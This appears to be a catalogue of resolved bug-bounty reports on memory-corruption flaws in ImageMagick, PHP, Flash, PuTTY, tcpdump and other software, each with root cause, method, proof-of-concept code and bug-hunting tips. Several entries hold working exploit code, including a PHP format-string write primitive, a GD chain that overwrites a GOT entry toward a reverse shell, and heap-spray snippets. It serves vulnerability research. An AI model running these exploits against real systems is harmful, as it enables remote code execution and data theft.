ImageMagick's PushQuantumPixel/ImportRGBQuantum reads one byte past a quantum pixel buffer (AcquireQuantumMemory region) when a malformed TIFF declares geometry/samples inconsistent with the allocated row size (CVE-2020-27829).
Method
- Build ImageMagick with ASan.
- Feed a fuzzed/malformed TIFF: `magick poc.tif /dev/null`.
- ASan reports heap-buffer-overflow READ of size 1 at the right edge of a 248-byte quantum region in PushQuantumPixel.
magick poc.tif /dev/null
# ASan: heap-buffer-overflow READ size 1, 0 bytes right of 248-byte region
# PushQuantumPixel quantum-import.c:256 <- ImportRGBQuantum <- ReadTIFFImage
Insight β Image processing pipelines (ImageMagick coders) are the classic upload-to-crash surface: server-side thumbnailers accept attacker images. Fuzz per-coder (TIFF/PNG/etc.) under ASan; header fields that size row/quantum buffers vs actual sample data are where OOB reads live.
Real-world example
strncpy into fixed struct field with source-controlled length
β High
Specimen #504761 Β· Internet Bug Bounty Β· USD 1500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
phar_tar_writeheaders_int does strncpy(header.linkname, entry->link, strlen(entry->link)) into a fixed char linkname[100]; a link value longer than 100 overflows the _tar_header struct.
Method
- Control an archive/entry field that is copied into a fixed-size header struct.
- Make the source (entry->link) longer than the destination field (100).
- strncpy bounded by SOURCE length, not dest size, overwrites past the struct.
// vulnerable: strncpy(header.linkname, entry->link, strlen(entry->link));
// fix: strncpy(header.linkname, entry->link, sizeof(header.linkname));
// PoC: build a phar/tar entry whose link target > 100 bytes
Insight β Audit every strncpy/memcpy whose size argument is derived from the SOURCE (strlen(src)) rather than sizeof(dest). Fixed-size header/name fields (tar linkname[100], name[100]) are the classic sink.
Real-world example
Malicious server -> client-side stack overflow via unchecked sscanf
β High
Specimen #120903 Β· Internet Bug Bounty Β· none Β· 2 votes Β· resolved
Program Internet Bug BountySurface desktopTag file-upload
Root cause
PuTTY pscp (SCP sink) parses a server-supplied remote file size with sscanf into a fixed stack buffer without bounding it; a hostile SSH server sends an oversized size string and overwrites the stack, yielding EIP=0x41414141 (CVE-2016-2563).
Method
- Stand up a malicious SSH/SCP server (poc.py).
- Have the victim connect a vulnerable pscp client (<=0.66) to download a file.
- Server returns an overlong file-size field; sscanf overflows the client stack -> control of EIP.
# Attacker runs poc.py as the SSH server; victim: pscp attacker:file .
# server sends crafted 'C0644 <huge-size> name' -> pscp sscanf stack overwrite -> EIP=0x41414141
Insight β Client-side parsers of server-controlled protocol fields (sizes, lengths, names) are exploitable memory-corruption surfaces even post-auth. Audit sscanf/strcpy of remote-supplied numeric/string fields; the trust boundary is the remote peer, not local input. Widely-embedded libs (PuTTY in FileZilla etc.) multiply reach.
Real-world example
FPU register-stack exhaustion from JIT not restoring x87 stack
β High
Specimen #66962 Β· HackerOne (Flash) Β· awarded Β· 2 votes Β· resolved
Program HackerOne (Flash)Surface desktopTag file-upload
Root cause
A JITed Flash method pushes an x87 FPU register (fld qword) in a helper but the caller never pops/cleans it; the 8-deep FPU stack fills up, and subsequent FPU instructions silently fault/overflow the register stack, leading to corruption and RCE (CVE-2015-3100).
Method
- Craft a SWF whose JITed method body repeatedly invokes the helper that loads onto the FPU stack.
- Because the caller lacks a matching pop/ffree, the 8 x87 registers (st0..st7) exhaust.
- Further FPU ops on the full stack fault without the code detecting it -> corruption / control.
; helper leaves an extra value on the FPU stack:
; fld qword ptr [eax] ; +1 FPU register in use, never freed
; caller only does add esp,10 / mov esp,ebp / pop ebp / ret (no FPU cleanup)
; a crafted SWF method_body repeats this until st0..st7 are exhausted
Insight β On x86, x87 FPU state is a fixed 8-slot stack: unbalanced fld/fstp across call boundaries (common in JIT/codegen bugs) causes silent FPU stack overflow. When auditing JIT or hand-written asm, check every fld has a matching pop and that calling conventions restore FPU state.
Real-world example
Level counter grows past emalloc'd array by fixed increment -> heap OOB write
β High
Specimen #476179 Β· Internet Bug Bounty Β· USD 1500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
libmagic file_check_mem grows ms->c.li by a fixed +20 only once when level >= len, then indexes at 'level'; a magic file with deeply nested '>' continuation levels (level=31/32 vs len=10) writes past the reallocated array -> heap overflow (CVE-2015-8865).
Method
- Provide a crafted magic database to finfo_open/finfo_file.
- Use many '>' continuation markers so the parser's nesting level jumps well beyond the current allocated len.
- file_check_mem bumps len by only 20 (still < level) and writes at index 'level' past the buffer.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
// magic file of 31+ '>' -> level=31, ms->c.len=10 -> +20 still short -> WRITE OOB in file_check_mem
// fix: while (level >= ms->c.len) ms->c.len += 20; before realloc
Insight β When a growable array is enlarged by a fixed constant instead of a loop/`while(need>have)`, a single large jump in the required index overflows it. Look for `len += CONST; realloc; arr[bigger_index] = ...` patterns; nesting depth in parsers is a good driver.
Real-world example
Packet-parser over-read: caplen vs length confusion / missing bounds checks
β High
Specimen #202968 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface networkTag file-upload
Root cause
tcpdump protocol printers dereference packet fields using the claimed on-wire 'length' instead of the actually-captured 'caplen', or omit ND_TCHECK bounds checks, so a short/truncated packet causes reads past the captured buffer.
Method
- Build tcpdump with AFL + AFL_USE_ASAN=1
- Fuzz with a small pcap seed corpus covering many link/protocol types
- Truncated frames trigger heap-buffer-overflow reads in per-protocol printers (ether_print, q933_print, ip6_print, pgm_print)
$ git clone -b <pre-4.9.2-commit> https://github.com/the-tcpdump-group/tcpdump
$ CC=afl-gcc AFL_USE_ASAN=1 make -j
$ tcpdump -nvr crafted.pcap
# ASAN: heap-buffer-overflow READ in EXTRACT_32BITS / print-*.c
# root cause: functions passed 'length' where they must pass 'caplen', or skip ND_TCHECK before EXTRACT_*
Insight β For any packet/format dissector, the transferable rule is: every field access must be gated by a bounds check against the *captured* length, not the header-declared length. Grep for EXTRACT_/memcpy that aren't preceded by a length check, and fuzz with deliberately truncated inputs.
Real-world example
Chunked-encoding size signedness error β attacker-controlled realloc + memcpy
β High
Specimen #227344 Β· ibb Β· none Β· 2 votes Β· resolved
Program ibbSurface networkChain SSDP discovery spoof -> victim fetches attacker XML ->Tag webhook
Root cause
miniupnpc getHTTPResponse casts an attacker-supplied unsigned chunksize to signed int for a bounds decision; a negative chunksize passes the check, and the attacker then controls both the destination buffer size (realloc content_length) and the copy length (memcpy chunksize) β heap corruption.
Method
- Respond to the victim's HTTP fetch with Transfer-Encoding: chunked
- Send a chunk size that is huge/negative when interpreted as signed int so it passes the 'size < remaining' check
- Server now dictates realloc(content_buf, content_length) and memcpy(content_buf, resp, chunksize) β overwrite/over-read
# Attack path (adjacent network, no auth): answer SSDP M-SEARCH with a Location header
# pointing at attacker HTTP server, then reply to the SCPD GET with a chunked body
# whose chunk-size line encodes a value negative as (int)chunksize.
# client(miniupnpc) --M-SEARCH--> ; <--Location-- ; --GET xml--> ; <--chunked(neg size)--
# Net effect: realloc(content_buf, attacker_len); memcpy(content_buf+x, http_response, chunksize)
Insight β HTTP chunked-size, Content-Length, and any length field parsed from the network should be checked for the signed/unsigned boundary. When one bug lets the attacker set *both* the allocation size and the copy size, treat it as heap-write primitive, not just DoS. Widely-embedded libs (miniupnpc in bitcoind, qBittorrent, router firmware) multiply the blast radius.
Real-world example
Escape/expansion routine overflows fixed buffer (char doubling)
β High
Specimen #3048061 Β· nintendo Β· awarded Β· 2 votes Β· resolved
Program nintendoSurface otherChain malicious peer name -> escape routine doubles chars past Tag file-upload
Root cause
A sanitizer escapes '\' and '%' by duplicating each occurrence into a fixed 64-byte buffer without rechecking length; a peer-supplied name that is already near 64 bytes of escapable characters expands past the buffer, overflowing it (reached via P2P player name tags).
Method
- Find an input rendered from another user/peer that passes through an escaping/expansion step (doubling, entity-encoding, %-escaping)
- Fill it with characters that the routine expands (here \ and %) up to the source-buffer limit
- Expanded output exceeds the fixed destination buffer β overflow; delivered via the one path (64-byte P2P name tag) that carries a full-length string
// peer-controlled player name (modified save / crafted P2P packet):
// up to 64 bytes of '\' and '%' -> each doubled -> ~128 bytes into a 64-byte buffer
name = "%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\\\\\\\\..." // maximize escapable chars
Insight β Any transform that can make output longer than input (escape/duplicate/encode) must size the destination by the worst-case expansion, not the input length. Hunt for escaping done into fixed stack buffers, and note which delivery path actually allows max-length input (32-byte fields were safe; only the 64-byte name tag overflowed).
Real-world example
Double-free in XML deserializer (PHP wddx.c) -> freelist corruption to GOT overwrite
β High
Specimen #146255 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain malicious WDDX XML -> double free -> zend_mm freelist Tag file-upload
Root cause
wddx_deserialize processes a <boolean> element whose text is neither 'true' nor 'false' by calling efree(ent->varname); because the same stack entry is revisited when trailing character data is processed, the same pointer is freed twice, poisoning the emalloc freelist so a later allocation of the same size returns an attacker-chosen address.
Method
- Deserialize WDDX XML containing <boolean value="none">AAAA</boolean> so the varname is efree'd twice.
- The zend_mm freelist slot ends up pointing to itself; subsequent same-size allocations (var names YYYY/ZZZZ/EZEZ) return overlapping chunks.
- Replace a returned chunk value with an address (e.g. memcpy@GOT); the next estrdup/copy writes attacker-controlled data there -> RCE.
<?php
$xml = '<?xml version="1.0"?><!DOCTYPE wddxPacket SYSTEM "wddx_0100.dtd"><wddxPacket version="1.0"><array><var name="XXXXXXXX"><boolean value="none">AAAAAAA</boolean></var><var name="YYYYYYYY"><var name="ZZZZZZZZ"><var name="EZEZEZEZ"></var></var></var></array></wddxPacket>';
$array = wddx_deserialize($xml);
foreach($array as $k=>$v){ echo "$k : $v\n"; }
Insight β Deserializers of untrusted structured input are a rich double-free source: look for error/cleanup branches that efree a shared/stacked pointer without nulling it, then a code path that re-enters the same handler on trailing data. Turn the self-referential freelist slot into a controlled allocation to overwrite a GOT entry.
Real-world example
Flash type confusion via uninitialized field + ByteArray heap grooming β RCE
β High
Specimen #151039 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain ByteArray heap spray -> uninitialized/confused object fieTag file-upload
Root cause
Flash objects with uninitialized fields (TimedEvent.parent) or internal natives invoked with the wrong object type (ASnative(101,10) on a MovieClip) let an attacker point an object field at attacker-shaped heap memory; the faked/confused object's vtable/constructor pointer is then called β code execution.
Method
- Spray attacker-controlled data onto the heap using ByteArray/Metadata so a predictable region holds a fake object/pointer table
- Instantiate an object whose field is left uninitialized (TimedEvent) or call an internal native (ASnative) with an unexpected type, or call an internal method directly to skip AS3 validation (ShimOpportunityGenerator.configure)
- Access the uninitialized field so the engine treats sprayed bytes as an object β controlled call (crash at the sprayed constructor address 0x13371337)
// TimedEvent.parent uninitialized -> fake object via ByteArray spray (CVE-2016-4182)
var bytes:ByteArray = new ByteArray();
bytes.endian = Endian.LITTLE_ENDIAN;
for (var i:int=0; i<0x100/4; i++) bytes.writeUnsignedInt(0x13371337);
var mt:Metadata = new Metadata();
mt.setByteArray("jack", bytes);
var obj:TimedEvent = new TimedEvent(0);
obj.parent; // engine calls constructor at 0x13371337
// related: ASnative(101,10) called with a MovieClip -> invalid EIP (CVE-2016-0981)
Insight β Runtime/scripting engines expose two evergreen memory-corruption primitives: (1) undocumented internal functions (ASnative) reachable from script and callable with type-confused arguments, and (2) object fields left uninitialized that can be aimed at groomed heap. Combine an object-array/ByteArray heap spray with either to convert a crash into a controlled indirect call.
Real-world example
Use-after-free by freeing an object inside its own getter/callback
β High
Specimen #119653 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain scriptable getter frees the in-use object -> engine keepsTag file-upload
Root cause
Flash operations that read a property mid-operation will invoke an attacker-defined getter; if that getter destroys the object being operated on (removeMovieClip/removeTextField, or a TextField.variable bound to such a getter), the engine keeps using the now-freed instance β use-after-free.
Method
- Find an engine operation that fetches an object property (a getter) while still holding a raw pointer to that object
- Define the getter so it frees/removes the object (removeMovieClip / removeTextField)
- Let the operation continue β the freed object is used; groom the freed slot for exploitation
// ASnative(900,1).call(MovieClip) with a getter that calls removeMovieClip() (CVE-2016-0982)
// ASnative(900,1).call(TextField) with a getter that calls removeTextField() (CVE-2016-0983)
// TextField.variable = <getter that calls removeTextField()> (CVE-2016-0990)
// pattern: obj.prop is a getter -> getter frees obj -> engine dereferences freed obj
Insight β The transferable primitive is 'free during callback': any time a native operation reads a scriptable property (getter, valueOf, toString, callback) while holding a reference, make that callback destroy/resize the underlying object. This is the generic way to turn callback-driven engines (Flash, JS, XML, image handlers) into UAFs.
Real-world example
Userland string length coerced to signed int -> negative memcpy/OOB in native functions
β High
Specimen #175587 Β· ibb Β· 1500 Β· 1 votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
A userland-controlled string length (size_t) is passed to native C code that stores it in a signed int/int32. A ~2GB (0x7fffffff) or ~4GB length has its MSB set, so on truncation/sign it becomes negative; downstream size checks (remain>=len) are bypassed and the value flows into memcpy/malloc/array-index, yielding a huge copy or OOB write.
Method
- Build a string whose length is near 0x7fffffff/0xffffffff (str_repeat); over gzip HTTP it compresses to <1KB so it is deliverable.
- Feed it to a native function that stashes length in int: imagecreatefromstring (GD dynamicGetbuf), file_get_contents/gzopen (php_resolve_path), mbstring, intl/ICU (locale_*, ResourceBundle), fread/gzread.
- The negative length bypasses the length check and reaches memcpy -> stack/heap buffer overflow (ASAN: WRITE of size 18446744073709551606).
<?php
ini_set('memory_limit',-1);
$var_3 = str_repeat("A",4294967286); // <1KB over gzip on the wire
$var_3[0]="\x00";$var_3[1]="\x00";$var_3[2]="\x00";$var_3[3]="\x00";
$var_3[4]="\x00";$var_3[5]="\x00";$var_3[6]="\x00";$var_3[7]="\x00";
imagecreatefromstring($var_3);
Insight β When a target passes user input to a native/library routine, test lengths at the signedness boundary (0x7fffffff, 0xffffffff, 0x80000000). If the routine keeps length in int/int32 the value flips negative and defeats >= size checks. Candidate sinks across a codebase: file readers, mbstring/iconv, intl/ICU, GD, and any decompress/read wrapper.
Real-world example
GD palette conversion negative color index -> arbitrary read/write -> RCE
β High
Specimen #153776 Β· ibb Β· 500 Β· 1 votes Β· resolved
Program ibbSurface webChain arbitrary read (ASLR bypass) -> arbitrary write (GOT overTag file-upload
Root cause
gdImageColorTransparent() does not validate the color index on truecolor images, so a negative 'transparent' index can be set. During truecolor->palette conversion and imagescale that negative index is used as an array offset (im->alpha[im->transparent], im->red/green/blue[transparent]), giving an arbitrary relative memory read (leaked via imagecolortransparent return) and an arbitrary byte/null write (via imagesetpixel) - a full memory R/W primitive built entirely from GD userland calls.
Method
- imagecreatetruecolor() a wide-enough image so pixel row reaches the target address.
- imagecolortransparent($img, NEG_OFFSET) to point 'transparent' at an internal pointer/GOT entry.
- imagetruecolortopalette() then imagescale() to leak memory (defeat ASLR: read libc base) via the returned transparent value.
- imagesetpixel() at the computed offset to overwrite a PLT/GOT entry (e.g. write@plt) with a stack-pivot gadget, stage a ROP chain calling mprotect, jump to shellcode -> reverse shell as www-data.
<?php
$plt_write = 0x89693a4; // GOT/PLT entry of write
$evil = imagecreatetruecolor($plt_write + 10, 1);
imagecolortransparent($evil, -516); // negative index reaches evil->pixels pointer
imagetruecolortopalette($evil, TRUE, 3);
$leak = imagescale($evil, 10, 10); // read primitive
$ptr = imagecolortransparent($leak); // leaked pointer
// ... compute libc base, then overwrite write@plt with pivot gadget:
for($i=0;$i<256;$i++) imagecolorallocatealpha($evil,$i,$i,$i,$i);
foreach(str_split(pack('I',$pivot)) as $i=>$b) imagesetpixel($evil,$plt_write+$i,0,ord($b));
// stack pivot -> ROP (mprotect RWX) -> msfvenom reverse shell
Insight β An image library that exposes signed color/palette indices to userland can be a memory read AND write primitive - not just a crash. On any target, if you can drive imagecreate*/imagecolortransparent/imagetruecolortopalette/imagescale (image thumbnailing, avatar processing), test negative indices: they become array offsets. Combine the leak (bypass ASLR) with the write (overwrite GOT) for RCE without a separate infoleak.
Real-world example
Flash Player use-after-free under out-of-memory during navigation
β High
Specimen #18843 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface desktopChain OOM during navigation -> UAF -> freed slot reused ->
Root cause
Under an out-of-memory condition (triggered while a SWF-laden page navigates/redirects), Flash fails to clean up correctly, leaving a dangling reference; the freed object's slot is later reused and a string's bytes are dereferenced as a C++ object -> `call [eax+0xF0]` on attacker-influenceable data.
Method
- Serve a page that loads the PoC SWF in a frame and auto-redirects after ~30s (meta refresh).
- Enable pageheap for the browser to surface the bug; let it hit OOM during the redirect/teardown.
- Freed object is reused; disassembly shows a heap string ('[mem] sweep...') read as a vtable pointer and called -> access violation at a controllable address.
- Heap-spray to replace the freed object -> control the indirect call for exploitation (needs JIT-spray to bypass DEP).
<meta content='30;URL=http://ATTACKER/next' http-equiv='refresh'/>
<!-- frame loads repro.swf; OOM during redirect frees a live object -->
Insight β Error/OOM paths in plugins and browsers frequently skip cleanup and leave dangling references - fuzz teardown/navigation races, not just steady-state parsing. A UAF where the freed slot is reinterpreted as an object with a vtable gives an indirect call primitive; spray to control it.
Real-world example
Integer/rounding overflow in buffer-size computation -> heap overflow
β High
Specimen #73258 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain length-check bypass -> undersized allocation -> heap o
Root cause
A size/divisibility check uses integer division that discards the remainder (size == product/y/x), so a length that is not an exact multiple still passes; the code then allocates a buffer for the 'expected' size but copies the larger real length, overflowing the heap.
Method
- Find a C function that validates a length via multiply/divide before allocating an output buffer.
- Supply dimensions where integer division rounds (e.g. product 16, x 1, y 9): 16/9/1 == 1 passes the check.
- The undersized buffer (allocated for the rounded size) is then written with the true, larger length -> heap-buffer-overflow.
# Python imageop.grey2rgb, x=1 y=9 len=16
# check_multiply_size: size == (product/y)/x => 1 == (16/9)/1 == 1 (remainder 7 ignored) -> passes
import imageop
imageop.grey2rgb('A'*16, 1, 9) # writes past a 36-byte buffer
Insight β When auditing native/runtime code, every 'validate size then allocate then copy' path is a candidate: check that multiply overflow, signed/unsigned casts, and integer-division remainders can't let a hostile length pass validation but exceed the allocation. The general lesson transfers to any manual buffer math (image, archive, string, JSON encoders).
Real-world example
Negative signed index -> out-of-bounds read of process memory
β High
Specimen #12297 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain negative index -> OOB read -> process memory disclosur
Root cause
Python's _json scanner accepts the string index as a signed Py_ssize_t and only checks idx >= length; a negative index passes the check and is used directly to index the string's backing array, reading memory before the buffer and returning attacker-chosen process memory.
Method
- Locate an API that takes a caller-supplied index/offset into a buffer parsed in C.
- Pass a negative index value.
- The upper-bound check (idx >= length) never fires for negatives, so the negative index is added to the base pointer, reading out-of-bounds process memory.
import json
s = json.JSONDecoder().scanstring
# second arg is the index; negative value indexes before the string buffer
s('"..."', -8000) # returns bytes from arbitrary process memory (CVE-2014-4616)
Insight β Any C-level API that takes a user-supplied offset/length as a signed integer and only bounds-checks the upper end is an OOB-read info-leak: always test negative and very large values. Signed vs unsigned confusion in index/length parameters is a recurring server-memory-disclosure primitive (heartbleed-class).
Real-world example
size_t->signed int cast yields negative length ZVAL (check bypass + corruption)
β High
Specimen #73255 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherChain integer/sign overflow -> negative-length string ZVAL ->
Root cause
PHP str_repeat computes result_len as size_t but passes it to a macro expecting a signed int, so a large product overflows into a negative length; the resulting corrupted string ZVAL has len = -1, bypassing strlen-based checks and causing memcpy/hash routines to read/write with an attacker-controlled huge size.
Method
- Trigger a string operation whose length is input_len * mult on a 64-bit host where large allocations are possible.
- Choose values so the size_t length exceeds INT_MAX and casts to a negative signed length.
- Use the corrupted ZVAL: strlen() returns a negative value (logic-check bypass) and downstream funcs (strtoupper, md5) memcpy with size 0xffffffff -> SIGSEGV/corruption.
php -r 'echo strlen(str_repeat("a", 4294967294));' // prints -2 (check bypass)
php -r 'strtoupper(str_repeat("a", 4294967294+1));' // memcpy with rdx=0xffffffff -> crash
Insight β Sign/width mismatches between the type that computes a length and the type that stores it produce negative lengths that both bypass application length/whitelist checks and corrupt memory. When auditing string/buffer builders, compare the declared type at every hop (size_t vs int vs Py_ssize_t).
Real-world example
Format-string vulnerability: attacker data reaches printf-family as the format
β High
Specimen #106548 Β· ibb Β· awarded Β· votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
zend_throw_or_error passes an attacker-influenced message (a non-existent class name) directly as the format argument to zend_vspprintf, so %n/%d specifiers in the class name are interpreted, giving a write-what-where primitive.
Method
- Reference a non-existent class whose name contains format specifiers.
- Use %n to write and width/precision to control the value/address, achieving arbitrary write.
- Craft width specifiers to set the target address (where) and count (what).
<?php $name="%n%n%n"; $name::doSomething(); ?>
// write-what-where
$rdx=0x42424242; $rax=0x43434343;
$name = "%".($rdx-8)."d"."%d"."%n".str_repeat("A",($rax-34));
$name::doSomething();
Insight β The root-cause pattern is func(userdata) instead of func("%s", userdata) into any printf-family sink (printf, syslog, zend_error, vspprintf). Grep C code for format sinks whose format arg is a variable. The fix is exactly the '%s' wrapper shown in the accepted patch.
Real-world example
Squid NTLM helper credential-parser out-of-bounds write
β High
Specimen #789034 Β· ibb Β· awarded Β· 18 votes Β· resolved
Program ibbSurface network
Root cause
The ext_lm_group_acl external ACL helper does incorrect input validation/buffer management while parsing NTLM authentication credentials, writing outside the credentials buffer; the helper (and thus Squid) dies β DoS for all proxy clients (CVE-2020-8517).
Method
- Target a Squid proxy configured with the ext_lm_group_acl external ACL helper
- Send specially crafted NTLM authentication credentials through the proxy
- Parser writes past the credentials buffer; on hardened systems the helper process is killed and Squid terminates
Insight β External auth/ACL helper binaries that hand-parse protocol credential blobs (NTLM, base64) are a recurring OOB-write sink. When a proxy/server forks helper processes, killing the helper often takes down the whole service.
Real-world example
Perl pack/_byte_dump_string heap over-read (ASLR infoleak)
β High
Specimen #480778 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface otherChain heap over-read -> leak heap pointers -> defeat ASLR foTag info-disclosure
Root cause
A crafted regex/pack template drives Perl's pack routine (S_pack_rec in pp_pack.c) and _byte_dump_string past an allocated heap buffer, an over-read that can leak adjacent heap bytes (CVE-2018-6797/6798).
Method
- Feed a crafted regex/pack template that miscomputes output length
- Build Perl with ASAN
- Observe heap-buffer-overflow (over-read) leaking heap contents
Insight β Format/pack routines that compute an output length from input without bounds checking are heap-over-read sinks; leaked adjacent bytes are useful as an ASLR-defeating infoleak primitive that chains into a write bug.
Real-world example
Use-after-free via async timer thread outliving its object (Flash MP4)
β High
Specimen #30567 Β· ibb Β· 2000 Β· 3 votes Β· resolved
Program ibbSurface desktopChain malformed MP4 -> perpetual playback state -> counter t
Root cause
A malformed MP4 makes Flash's NetStream believe playback never ends; a standalone thread keeps updating a frame/duration counter after the page and Flash objects are torn down, so the counter references freed memory -> use-after-free (or execute-after-free) (CVE-2014-0553).
Method
- Craft an MP4 whose timing metadata implies infinite duration
- Load it via NetStream on a page
- Close the page so Flash frees the objects while the counter thread is still running
- Freed memory is read/executed by the lingering thread
Insight β Teardown races: when a component spawns an async timer/thread tied to an object's lifetime, a crafted input that prevents the 'end' condition leaves the callback dereferencing freed state after destruction. Hunt for timers/callbacks that can outlive their owner.
Real-world example
Integer overflow in LZ4 decompression literal run -> chosen-offset 4-byte write (CVE-2014-4611)
β High
Specimen #17688 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherTag supply-chain
Root cause
LZ4_decompress_generic accumulates an attacker-controlled 'literal run' length; on a 32-bit length this integer-overflows, letting the attacker specify an arbitrary offset to the write pointer and place a controlled 4-byte write, then cleanly exit the decompressor.
Method
- Craft a compressed LZ4 blob with a malformed/oversized literal run so the length accumulation overflows.
- The overflow lets the copy target an attacker-chosen offset; a 4-byte write lands at that offset (OOW).
- Escape the decompression loop without further corruption, leaving a targeted memory overwrite (DoS/OOW, potential RCE).
Insight β Bundled decompression libraries are supply-chain memory-corruption surface: identify the LZ4/zlib/etc. version a target ships and check for known literal-run/length-accumulation integer overflows. Any decompressor that adds attacker-controlled run lengths to a pointer is suspect.
Real-world example
Flash use-after-free: reload/reinit racing an event or cross-worker message -> EIP
β High
Specimen #47232 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface desktopChain lifecycle race (reload vs event/message) -> object freed
Root cause
Registering an async handler (StageVideoAvailabilityEvent) or sending a cross-worker message while the SWF/animation is simultaneously reloaded (LoadMovie) causes an object to be freed while a live reference to it remains; the stale reference is then used, giving control of the code flow (EIP).
Method
- Register for an async event / set up a Worker MessageChannel that retains a reference to an object.
- Concurrently trigger a reload/reinit of the movie/animation (LoadMovie or worker reload) so the object is freed.
- The retained reference now dangles; the next dispatch/send uses the freed object -> EIP control.
- Heap-spray the freed slot to direct execution (see the linked chromium exploits).
Insight β Look for lifecycle races: an operation that holds/queues an object reference (event registration, message send, callback) run against an operation that tears the object down (reload, reinit, close). If the teardown frees without invalidating the queued reference you get a UAF. This 'reload during operation' pattern recurred across multiple Flash APIs.
Real-world example
SMAP left disabled: copyin/copyout fault path never clears RFLAGS.AC
β Medium
Specimen #1048322 Β· playstation Β· awarded Β· 110 votes Β· resolved
Program playstationSurface otherChain SMAP disable primitive -> amplifies exploitation of any s
Root cause
In FreeBSD 12 the copyin()/copyout() fault handler (copy_fault) returned EFAULT without executing clac, so a deliberately faulting copy left %RFLAGS.AC set; the rest of the syscall - and, across a reschedule, other threads - then ran with SMAP effectively disabled, removing a key exploit mitigation.
Method
- Invoke a syscall that calls copyin/copyout with an address that faults mid-copy
- Fault handler returns without clac -> AC stays set
- Kernel now executes with SMAP off until return to userland (survives context switch)
- Leverage the SMAP-off window when exploiting another kernel bug
; fix that was missing in copy_fault:
copy_fault:
+ clac
movq $0,PCB_ONFAULT(%r11)
movl $EFAULT,%eax
ret
Insight β Mitigations toggled per-operation (SMAP via stac/clac, SMEP, PAN) must be restored on EVERY exit path including fault/error handlers. A missing clac in an error path is a mitigation-bypass primitive that turns other bugs trivially exploitable.
Real-world example
VLC MKV/libfaad byte-flip fuzzing -> AAC decoder OOB crashes (CVE-2019-5459/5460)
β Medium
Specimen #503208 Β· vlc_h1c Β· awarded Β· 77 votes Β· resolved
Program vlc_h1cSurface desktopChain malicious media file -> AAC decoder OOB read/write -> Tag file-upload
Root cause
Byte-flipping the audio SimpleBlock (Frame) data inside an MKV Cluster feeds malformed AAC frames to libfaad_plugin, whose decoder performs unchecked array indexing (integer underflow / double-free) causing out-of-bounds read and write access violations.
Method
- Take a normal .mkv, locate Segment->Cluster->SimpleBlock->Frame for the audio track (Track Number 2) with MKVToolNix
- Byte-flip / zero-pad a region of the frame data to malform the AAC stream
- Play in VLC; libfaad crashes with a read AV (CVE-2019-5459) or a write AV `mov [r9+r11*4],r14d` (double free, CVE-2019-5460)
# mutate MKV audio SimpleBlock frame bytes (e.g. offset 0x14c5-0x1528) -> libfaad_plugin OOB
# read AV: movzx r9d,byte ptr [rax+3] write AV: mov dword ptr [r9+r11*4],r14d
Insight β Container demuxers hand raw codec frames straight to third-party decoders (libfaad). Dumb byte-flip fuzzing of just the codec-frame region of a container (MKV SimpleBlock) is enough to find memory-safety bugs in the underlying decoder; audio tracks are as fruitful as video.
Real-world example
PHP SoapClient type confusion via unserialize-controlled _cookies (make_http_soap_request)
β Medium
Specimen #116773 Β· ibb Β· 1000 Β· 64 votes Β· resolved
Program ibbSurface otherChain untrusted unserialize -> crafted SoapClient _cookies ->
Root cause
Unserializing an attacker-crafted SoapClient object lets the _cookies property hold values of the wrong PHP type; make_http_soap_request treats them as the expected type, causing a type-confusion memory corruption.
Method
- Reach a PHP unserialize() on attacker input (classic POP entrypoint)
- Supply a serialized SoapClient with a malformed _cookies array structure
- Call any method to trigger make_http_soap_request -> type confusion
$exploit = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:17:"http://localhost/";s:8:"_cookies";a:1:{s:8:"manhluat";a:3:{i:0;s:0:"";i:1;N;i:2;N;}}}');
$exploit->blahblah();
Insight β unserialize() reconstructs internal object properties with attacker-chosen types; interpreter C code that assumes a property's type without checking zval type is a memory-corruption sink. Any unserialize on untrusted input is both a POP-chain and a type-confusion risk.
Real-world example
Config-file field copied into fixed word[64] with no bounds check
β Medium
Specimen #480984 Β· notepad-plus-plus Β· awarded Β· 51 votes Β· resolved
Program notepad-plus-plusSurface desktopTag file-upload
Root cause
isInList() in Common.cpp copies a whitespace-delimited token from the stylers.xml 'ext' field into a fixed TCHAR word[64] array with no length check; a long ext value overflows the stack buffer on load.
Method
- Edit %APPDATA%/Notepad++/stylers.xml and set the 'ext' attribute to a >64 char string
- Restart Notepad++; config is parsed on startup
- isInList overflows word[64] β crash / stack smash
<... ext="12345678901234567890123456789012345678901234567890123456789012345678901234567890" ...> (in stylers.xml)
Insight β Local config/theme files parsed at startup are an under-tested attack surface; fixed word[N] token buffers in tokenizers (isInList/split loops) are classic overflow sinks. Useful in shared-workstation / evil-config scenarios.
Real-world example
offset+size int overflow bypasses bound check β estrndup heap overflow
β Medium
Specimen #384477 Β· ibb (PHP) Β· awarded Β· 42 votes Β· resolved
Program ibb (PHP)Surface apiTag file-upload
Root cause
In exif.c the guard (Thumbnail.offset + Thumbnail.size) > length uses ints that overflow on 32-bit (offset up to 0xffffffff, size up to 0xffff), so a crafted EXIF thumbnail passes the check yet estrndup copies size bytes from far outside the image buffer β heap over-read/overflow.
Method
- Build a JPEG/TIFF with EXIF IFD thumbnail offset near 0xffffffff and size up to 0xffff
- offset+size overflows the int and is < length, bypassing the bounds check
- estrndup(offset+Thumbnail.offset, Thumbnail.size) reads/copies out of bounds; reached via exif_read_data()
Crafted EXIF: Thumbnail.offset = 0xffffffXX, Thumbnail.size = 0xffff -> offset+size wraps below length
php -r 'exif_read_data("evil.jpg");'
